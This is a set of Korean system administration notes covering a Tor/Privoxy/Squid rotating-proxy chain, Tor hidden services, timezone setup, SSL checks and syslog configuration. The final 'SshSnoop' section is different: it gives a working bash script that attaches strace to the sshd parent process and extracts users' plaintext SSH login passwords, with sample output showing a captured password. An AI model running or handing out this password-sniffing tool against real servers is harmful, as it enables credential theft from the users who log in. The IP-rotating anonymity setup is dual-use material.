acl Safe_ports port 70      # gopher
acl Safe_ports port 210     # wais
acl Safe_ports port 1025-65535  # unregistered ports
acl Safe_ports port 280     # http-mgmt
acl Safe_ports port 488     # gss-http
acl Safe_ports port 591     # filemaker
acl Safe_ports port 777     # multiling http
acl CONNECT method CONNECT

http_access allow manager localhost
http_access deny manager
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow localhost
http_access deny all

http_port 3128

hierarchy_stoplist cgi-bin ?

coredump_dir /var/spool/squid

refresh_pattern ^ftp:       1440    20% 10080
refresh_pattern ^gopher:    1440    0%  1440
refresh_pattern -i (/cgi-bin/|\?) 0 0%  0
refresh_pattern .       0   20% 4320

cache_peer localhost parent 8118 0 round-robin no-query
cache_peer localhost1 parent 8119 0 round-robin no-query
cache_peer localhost2 parent 8120 0 round-robin no-query
cache_peer localhost3 parent 8121 0 round-robin no-query
cache_peer localhost4 parent 8122 0 round-robin no-query
cache_peer localhost5 parent 8123 0 round-robin no-query
cache_peer localhost6 parent 8124 0 round-robin no-query
cache_peer localhost7 parent 8125 0 round-robin no-query
cache_peer localhost8 parent 8126 0 round-robin no-query
cache_peer localhost9 parent 8127 0 round-robin no-query
never_direct allow all
always_direct deny all
forwarded_for off

설명

  • cache_peer 에서는 중복되는 호스트이름을 사용 할 수 없기 때문에 위처럼 개별적인 호스트 이름을 부여후 /etc/hosts 에서 추가 해준다.

호스트 추가

$ vi /etc/hosts

127.0.0.1       localhost1
127.0.0.1       localhost2
127.0.0.1       localhost3
127.0.0.1       localhost4
127.0.0.1       localhost5
127.0.0.1       localhost6
127.0.0.1       localhost7
127.0.0.1       localhost8
127.0.0.1       localhost9

squid 구동

$ /etc/init.d/squid start

squid (을)를 시작 중:  [ OK ]

테스트

tor+privoxy+squid연동확인

Tor Hidden Service구축


로컬서비스

설정

현재 서버의 서비스를 익명으로 제공 할 수 있는 방법이다. 도메인 *.onion 형식으로 현재 자신의 위치가 부여 되기 때문에 서비스에 접속하기 위해선 tor 를 사용해야 한다.
현재 서버의 80에 실행중인 데몬을 *.onion:80 으로 제공 하기 위한 설정은 아래와 같다.
$ vi /etc/tor/torrc

HiddenServiceDir /var/lib/tor/tor.hidden.localhost.80
HiddenServicePort 80 127.0.0.1:80

$ /etc/init.d/tor restart

할당된 도메인 확인

$ cat /var/lib/tor/tor.hidden.localhost.80/hostname
wys7q5rvgioasdhj.onion

테스트

$ curl --proxy localhost:3128 --header "Host: localhost" http://wys7q5rvgioasdhj.onion

외부서비스

설정

현재 서버의 서비스가 아닌 외부 서비스를 익명으로 제공 할 수 있는 방법이다.
현재 서버(*.onion:80)로 오는 모든 요청을 ip.example.com:80 으로 보내기 위한 설정은 아래와 같다.
$ vi /etc/tor/torrc

HiddenServiceDir /var/lib/tor/tor.hidden.ip.example.com.80
HiddenServicePort 80 ip.example.com:80

$ /etc/init.d/tor restart

할당된 도메인 확인

$ cat /var/lib/tor/tor.hidden.ip.example.com.80/hostname
wys7q5rvgioasdhj.onion

테스트

$ curl --proxy localhost:3128 --header "Host: ip.example.com" http://wys7q5rvgioasdhj.onion

IP 변경 확인


IP 확인 URL

text 모드(기본)
http://ip.vozlt.com/myip

html 모드
http://ip.vozlt.com/myip/html

xml 모드
http://ip.vozlt.com/myip/xml

tor+privoxy연동확인

REMOTE_ADDR 의 변경 여부 확인
$ curl --proxy localhost:8118 http://ip.vozlt.com/myip

>>> REMOTE_ADDR: 46.38.57.196
>>> REMOTE_PORT: 46021
>>> HTTP_USER_AGENT: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.14.0.0 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
>>> OS: N/A
>>> BROWSER: N/A
>>> ISP_CODE: --
>>> ISP_NAME: N/A
>>> COUNTRY_CODE: RU
>>> COUNTRY_NAME: Russian Federation
>>> CITY:
>>> LATITUDE: 60
>>> LONGITUDE: 100

tor+privoxy+squid연동확인

Privoxy의 개별 포트 질의시 IP 변경 여부 확인(8118-8127)

$ curl --proxy localhost:8118 http://ip.vozlt.com/myip

>>> REMOTE_ADDR: 212.83.151.26
>>> REMOTE_PORT: 34334
>>> HTTP_USER_AGENT: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.14.0.0 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
>>> OS: N/A
>>> BROWSER: N/A
>>> ISP_CODE: --
>>> ISP_NAME: N/A
>>> COUNTRY_CODE: FR
>>> COUNTRY_NAME: France
>>> CITY:
>>> LATITUDE: 46
>>> LONGITUDE: 2

Squid 포트로 연속적인 질의시 IP 변경 여부 확인(3128)
$ curl --proxy localhost:3128 http://ip.vozlt.com/myip

>>> REMOTE_ADDR: 37.130.227.133
>>> REMOTE_PORT: 21687
>>> HTTP_USER_AGENT: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.14.0.0 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
>>> OS: N/A
>>> BROWSER: N/A
>>> ISP_CODE: --
>>> ISP_NAME: N/A
>>> COUNTRY_CODE: GB
>>> COUNTRY_NAME: United Kingdom
>>> CITY:
>>> LATITUDE:
>>> LONGITUDE:


TimeZone

CentOS 6


TimeZone 설정하기

$ vi /etc/sysconfig/clock

ZONE#Asia/Seoul

$ tzdata-update

TimeZone 파일들

/etc/localtime
/etc/sysconfig/clock
/usr/share/zoneinfo/Asia/Seoul

CentOS 7


TimeZone 리스트

$ timedatectl list-timezones

TimeZone 설정하기

$ timedatectl set-timezone Asia/Seoul

TimeZone 확인

$ timedatectl

      Local time: 목 2016-01-14 00:13:43 KST
  Universal time: 수 2016-01-13 15:13:43 UTC
        RTC time: 수 2016-01-13 15:13:44
        Timezone: Asia/Seoul (KST, +0900)
     NTP enabled: n/a
NTP synchronized: no
 RTC in local TZ: no
      DST active: n/a


SslTroubleShooting

SSL 동작 확인


CURL 이용

$ curl -v -o /dev/null https://facebook.com

* About to connect() to facebook.com port 443 (#0)
*   Trying 173.252.110.27... connected
* Connected to facebook.com (173.252.110.27) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
*   CAfile: /etc/pki/tls/certs/ca-bundle.crt
  CApath: none
* SSL connection using SSL_RSA_WITH_RC4_128_SHA
* Server certificate:
*       subject: CN=*.facebook.com,O="Facebook, Inc.",L=Palo Alto,ST=California,C=US
*       start date:  621 00:00:00 2012 GMT
*       expire date: 1231 23:59:59 2013 GMT
*       common name: *.facebook.com
*       issuer: OU=www.verisign.com/CPS Incorp.by Ref. LIABILITY LTD.(c)97 VeriSign,OU=VeriSign International Server CA - Class 3,OU="VeriSign, Inc.",O=VeriSign Trust Network
> GET / HTTP/1.1
> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.14.0.0 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
> Host: facebook.com
> Accept: */*
>
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0< HTTP/1.1 301 Moved Permanently
< Location: https://www.facebook.com/
< Content-Type: text/html; charset=utf-8
< X-FB-Debug: Pa57tDp1kmdZ5sUEZeCJAHkYs58+0jXIm6rFl1xZJ04=
< Date: Mon, 05 Aug 2013 09:47:36 GMT
< Connection: keep-alive
< Content-Length: 0
<
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connection #0 to host facebook.com left intact

* Closing connection #0

openssl 이용

$ openssl s_client -connect facebook.com:443 -showcerts

depth=2 C = US, O = "VeriSign, Inc.", OU = Class 3 Public Primary Certification Authority
verify return:1
depth=1 O = VeriSign Trust Network, OU = "VeriSign, Inc.", OU = VeriSign International Server CA - Class 3, OU = www.verisign.com/CPS Incorp.by Ref. LIABILITY LTD.(c)97 VeriSign
verify return:1
depth=0 C = US, ST = California, L = Palo Alto, O = "Facebook, Inc.", CN = *.facebook.com
verify return:1
CONNECTED(00000003)
.
.
.
Server certificate
subject=/C=US/ST=California/L=Palo Alto/O=Facebook, Inc./CN=*.facebook.com
issuer=/O=VeriSign Trust Network/OU=VeriSign, Inc./OU=VeriSign International Server CA - Class 3/OU=www.verisign.com/CPS Incorp.by Ref. LIABILITY LTD.(c)97 VeriSign
---
No client certificate CA names sent
---
SSL handshake has read 2198 bytes and written 298 bytes
---
New, TLSv1/SSLv3, Cipher is RC4-SHA
Server public key is 1024 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1
    Cipher    : RC4-SHA
    Session-ID: 82FC7E105FE2749FA1AC20793891CBFA6C399D1E4A12D3E0A782F160B882BC1D
    Session-ID-ctx:
    Master-Key: 08C1914199F644CAB85E3B8F749B1A85C05D8226E8EFD7373D9E9E958F68CEDD51E8593E893BD472C6C660A45449E0F0
    Key-Arg   : None
    Krb5 Principal: None
    PSK identity: None
    PSK identity hint: None
    TLS session ticket lifetime hint: 86000 (seconds)
    TLS session ticket:
    0000 - 9d da 29 68 96 e4 b9 fe-9d ed cc 27 d5 15 a2 f6   ..)h.......'....
    0010 - a6 dc 77 cb ee 93 61 f7-db 32 97 06 27 e9 4a 97   ..w...a..2..'.J.
    0020 - a4 54 10 38 85 7f bd 9a-82 1e 8a 41 ec 1b d1 32   .T.8.......A...2
    0030 - a7 ee 98 44 a4 70 ab 27-d6 11 79 c0 b3 3a 1f 4f   ...D.p.'..y..:.O
    0040 - ed 32 7b 1e a2 f8 e6 97-fc 15 1a 1e 96 d3 19 0a   .2{.............
    0050 - e8 e6 15 8d 3d 67 5d 50-92 fa 97 4c 1b ae a3 00   ....=g]P...L....
    0060 - f2 ba 2a 6c ea fe 47 09-7e e8 e4 87 98 cb a4 56   ..*l..G.~......V
    0070 - ce eb e0 eb 93 e6 13 ac-20 a9 a1 a0 8d 9e 1a 9a   ........ .......
    0080 - 0c fc cd ea 94 3e 2e 06-8a cd 31 16 8c b6 23 a4   .....>....1...#.
    0090 - 5e a7 10 d3 ad 45 b4 04-ee 94 9b 76 0a a5 2a f9   ^....E.....v..*.
    00a0 - 7f e6 bf c6 39 c7 65 75-d9 2e e6 7d 05 55 dd 7a   ....9.eu...}.U.z

    Start Time: 1375696759
    Timeout   : 300 (sec)
    Verify return code: 0 (ok)
---

SSL 에러 예제


Client 인증서 에러

$curl -v -o /dev/null https://example.com

* About to connect() to example.com port 443 (#0)
*   Trying 10.10.10.18... connected
* Connected to example.com (10.10.10.18) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
*   CAfile: /etc/pki/tls/certs/ca-bundle.crt
  CApath: none
* Peer's certificate issuer is not recognized: 'CN=Thawte SSL CA,O="Thawte, Inc.",C=US'
* NSS error -8179
* Closing connection #0
* Peer certificate cannot be authenticated with known CA certificates

curl: (60) Peer certificate cannot be authenticated with known CA certificates
More details here: http://curl.haxx.se/docs/sslcerts.html

curl performs SSL certificate verification by default, using a "bundle"
 of Certificate Authority (CA) public keys (CA certs). If the default
 bundle file isn't adequate, you can specify an alternate file
 using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
 the bundle, the certificate verification probably failed due to a
 problem with the certificate (it might be expired, or the name might
 not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
 the -k (or --insecure) option.

Client 인증서 설정(Apache)

SSLCACertificateFile /etc/pki/CA/certs/ca.crt

Client 인증서 설정(Nginx)

ssl_client_certificate /etc/pki/CA/certs/ca.crt;
ssl_verify_client optional;

SSL Cipher 지원 확인


openssl 이용

$ openssl s_client -connect google.com:443 -tls1_2

.
.
.
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES128-GCM-SHA256
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES128-GCM-SHA256
.
.
.

nmap 이용

$ nmap --script ssl-enum-ciphers -p 443 google.com

PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   SSLv3
|     Ciphers (9)
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
.
.
.
|     Compressors (1)
|       uncompressed
|   TLSv1.0
|     Ciphers (9)
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
.
.
.
|     Compressors (1)
|       uncompressed
|   TLSv1.1
|     Ciphers (9)
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
.
.
.
|     Compressors (1)
|       uncompressed
|   TLSv1.2
|     Ciphers (17)
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
.
.
.
|     Compressors (1)
|_      uncompressed


Syslog

SYSLOG


syslog 는 컴퓨터 메시지를 기록하기 위한 표준 프로토콜rfc5424이다. SYSLOG 는 1980년대에 sendmail 프로젝트의 일환으로 Eric Allman 에 의해 개발되었고, 처음 에는 sendmail 용으로만 사용 되었다.

Facilities(프로그램 종류들)

Facility Number Facility Keyword Facility Description
0 kern 커널에 의한 메시지
1 user 사용자 수준의 메시지
2 mail 메일 시스템(sendmail, postfix, qmail…) 메시지
3 daemon 데몬(ssh, ftp…)에 의한 메시지
4 auth 로그인과 같이 사용자 인증에 의한 메시지
5 syslog syslogd 데몬에 의한 메지시
6 lpr 프린터데몬인 lpd에 의한 메시지
7 news 뉴스프로그램에 의한 메시지
8 uucp uucp에 의한 메시지
9 cron 시간 데몬(crond, atd)에 의한 메시지
10 authpriv 보안 및 승인에 의한 메시지
11 ftp FTP 데몬에 의한 메시지
12 - NTP subsystem
13 - log audit
14 - log alert
15 - clock daemon
16 local0 여분용:local use 0 (local0)
17 local1 여분용:local use 1 (local1)
18 local2 여분용:local use 2 (local2)
19 local3 여분용:local use 3 (local3)
20 local4 여분용:local use 4 (local4)
21 local5 여분용:local use 5 (local5)
22 local6 여분용:local use 6 (local6)
23 local7 여분용:local use 7 (local7)

Priorities(우선순위)

Priority Number Priority Keyword Priority Description
0 emerg 매우 위험한 상황의 메시지 ( 가장 높은 단계 )
1 alert 즉각적인 조치를 해야하는 메시지
2 crit 급한상황은 아니지만 치명적인 시스템 문제 발생 메시지
3 err 에러에 의한 메시지
4 warn 주의를 요하는 메시지
5 notice 에러는 아니지만 흔치 않은 상태에 대한 대한 메시지
7 debug 운영에 사용되지 않는 애플리케이션 디버깅을 위해 개발자들이 사용하는 메시지

RSYSLOG


Rsyslog는 향상된 멀티 쓰레드 시스템 로그 데몬으로 MySQL, syslog/TCP, RFC 3195, 받아들일 서버들에 대한 선택적 설정, 세밀한 출력 형식 제어를 제공한다.

로그 선택 문법

{facility}.{priority}

연산자

연산자 설명 적용범위
* 전체 선택 facility|priority
= 왼쪽에 오는 것만 선택 priority
! 왼쪽에 오는 것은 제외 priority
, 다중 선택(OR연산) facility
; 필터 -
\n 필터 -
none 해당 facility 를 제외 priority

로그 선택 예제

문법 선택된 facility 선택된 priority
kern.* kern 전체
*.warn 전체 warn 이랑 같거나 작은 모든 priority(<= warn)
kern,cron.=warn kern 또는 cron warn
.=debug;.=info;.=notice;.=warn;*.crit 전체 debug|info|notice|warn|(<= crit)
.;cron.!warn 전체 {facility 가 cron 과 같고 priority가 warn 보다 큰 모든 priority(> warn)} 또는{이패턴을 제외한 모든 priority}
.;local1.!=warn 전체 {facility가 local1 과 같고 priority가 warn 인 것}을 제외한 모든 priority{!(facility # local1 && priority # warn)}
.;local1,local2,local3.none local1, local2, local3 를 제외한 모든 facility 전체

로그 필터링

특정 패턴만 제거하고 받기
$ vi /etc/rsyslog.conf

*.* /var/log/allmsg.log
:msg, contains, "pattern"  ~
*.* /var/log/allmsg-but-pattern.log

설명

  1. 모든 발생되는 로그를 /var/log/allmsg.log 에 기록한다.
  2. pattern 형태가 들어가지 않는 모든 로그를 /var/log/allmsg-but-pattern.log 에 기록한다.

로그 보내기 예제

logger 명령어
$ logger -p local0.warn "facility:local0 and priority:warn"



SshSnoop

SSH SNOOP 개요


목적

SSH Protocol 을 사용하는 Client & Server 간의 통신시 Client 의 Login 시 사용자의 복호화된 패스워드를 최소한의 노력으로 엿보려고 한다.

방법

SSH 데몬의 system call 추적을 통한 암호 탐지

  1. System call 추적후 패스워드는 암호화 되어 있을 가능성도 있다.
  2. 하지만 대부분 WAN 구간에서 암호화 통신시 Data의 수신후 선수행 부분은 암호화된 Data의 복호화 일 것으로 예상 된다.
  3. 또한 SSH Protocol 사용시 서버로 송신하는 Login 암호를 Server 의 salt key로 crypt() 하지 않을 것으로 예상 된다.
  4. [수신된 DATA 의 복호화] -> [crypt()후 shadow 비교] 의 과정으로 예상하여 나는 system call 추적을 해보도록 하겠다.

Strace 개요


strace 란?

  • 프로그램이 실행 되는 동안 호출하는 시스템콜의 추적
  • 프로그램이 실행되는 동안 받는 signal 에 대한 정보 추적

strace 사용법

syscall 에 대한 통계(time, calls, syscall …) 보기

$ strace -f -c -p 31337

% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
 42.86    0.000012           0        48           close
 32.14    0.000009           0        42           recvmsg
 25.00    0.000007           0        22           fstat
.
------ ----------- ----------- --------- --------- ----------------
100.00    0.000028                   745        21 total

syscall 에 대한 소요 시간([시간]…<소요시간>) 보기

$ strace -tt -T -p 31337

16:02:02.636274 alarm(6000)             = 5999 <0.000038>
16:02:02.636452 epoll_wait(8, {{EPOLLIN, {u32=6, u64=6}}}, 100, 43000) = 1 <2.911735>
.

syscall 추적 예제

$ vi sleep.c

#include <stdio.h>
#include <unistd.h>

int main() {
    sleep(1);
    printf("sleep(1)\n");
    sleep(2);
    printf("sleep(2)\n");
    return(0);
}

$ gcc -o sleep sleep.c
$ strace -tt -T -etrace=nanosleep ./sleep

16:16:47.763460 nanosleep({1, 0}, 0x7fffbd6f6bd0) = 0 <1.000305>
sleep(1)
16:16:48.764272 nanosleep({2, 0}, 0x7fffbd6f6bd0) = 0 <2.000262>
sleep(2)

설명

  1. sleep() 은 내부적으로 nanosleep() syscall 을 호출한다.
  2. -tt 옵션으로 타임을 맨앞에 출력 -T 옵션으로 소요 시간을 맨뒤에 출력 한다.
  3. -etrace 옵션으로 해당 syscall만 필터링 한다.

Strace를 이용한 SSH SNOOP 구현


sshd의 시작점(PPID) 찾기

sshd 데몬의 부모 프로세스(PPID) 찾기

$ pidof sshd | awk ‘{print $NF}’
.
[OR]
.
$ pgrep -o sshd

패스워드를 운반하는 syscall 찾기

일단 sshd의 syscall 확인 결과 패스워드의 snoop 이 가능함을 확인 하였다.
패스워드 운반에 사용되는 syscall 은 write() 이다.
아래의 과정으로 ssh login password 를 가로채는 것을 확인 할 수 있었다.

$ useradd victim
$ echo "MyPasswordIs1234" | passwd victim --stdin
$ strace -f -etrace=write -s 64 -p $(pgrep -o sshd)

.
[pid  8281] write(4, "\0\0\0\20MyPasswordIs1234", 20) = 20

설명

  1. 사용자 victim 을 추가한다.
  2. 사용자 victim 의 패스워드를 MyPasswordIs1234 로 설정한다.
  3. 인증부분은 child process 에서 행하기 때문에 -f 옵션으로 child process도 감시한다.
  4. -etrace=write 옵션으로 write call 만 감시한다.
  5. 출력 문자열의 길이를 64로 늘린다.(기본 32)
  6. -p 옵션으로 sshd 의 부모 프로세스를 감시한다.

SSH SNOOP(Login Password Snoop) 필터링 구현

strace 를 이용한 SSHP SNOOP 프로그램 구현(sshsnoop.sh)

$ vi sshsnoop.sh

#! /bin/env bash
#
# Cheap technique. :)
#
#

SNOOP_ID=$1
SSHD_PPID=$(pgrep -o sshd)
MATCH_ID=
MATCH_PID=
MATCH_ID_PID=

FIND_PASSWD=0
PASSWD_NEXT=15

FILTER_PASSWD_LEN_MIN=40
FILTER_PASSWD_LEN_MAX=80

SCOPE=10
SCOPE_MIN=
SCOPE_MAX=
LOOP_COUNT=0
((SCOPE_MIN=PASSWD_NEXT-SCOPE))
((SCOPE_MAX=PASSWD_NEXT+SCOPE))

if [ -z $SNOOP_ID ]; then
    echo $"Usage: $0 {snoopid}" 
    exit 0
fi

strace -f -etrace=write -s 64 -p $SSHD_PPID 2>&1 | while read SSH
do

    if [ $LOOP_COUNT -ge $SCOPE_MIN -a $LOOP_COUNT -le $SCOPE_MAX ]; then
        MATCH_PID=$(echo $SSH 2>&1 | grep $MATCH_ID_PID | grep -v ssh-connection)
        if [ -n "$MATCH_PID" -a ${#SSH} -lt $FILTER_PASSWD_LEN_MAX -a ${#SSH} -gt $FILTER_PASSWD_LEN_MIN ]; then
            echo "MAY BE PASSWORD >>> $SSH"
        fi
    fi

    if [ $LOOP_COUNT -eq $SCOPE_MAX ]; then
        LOOP_COUNT=0
        FIND_PASSWD=0
        MATCH_ID=
    fi

    if [ $FIND_PASSWD -gt "0" ]; then
        ((FIND_PASSWD++))
        ((LOOP_COUNT++))
        continue
    fi
    MATCH_ID=$(echo $SSH 2>&1 | grep $SNOOP_ID\")
    if [ -n "$MATCH_ID" ]; then
        echo "MAY BE USERID   >>> $SSH"
        MATCH_ID_PID=${SSH%%]*}
        MATCH_ID_PID=${MATCH_ID_PID#[pid}
        FIND_PASSWD=1
    fi
done

sshsnoop.sh 실행 결과

$ sh sshsnoop.sh victim

MAY BE USERID   >>> [pid  8949] write(4, "0006victim", 10) = 10
MAY BE PASSWORD >>> [pid  8949] write(4, "00020MyPasswordIs1234", 20) = 20
MAY BE PASSWORD >>> [pid  8949] write(4, "0002000000"3650000000J", 20) = 20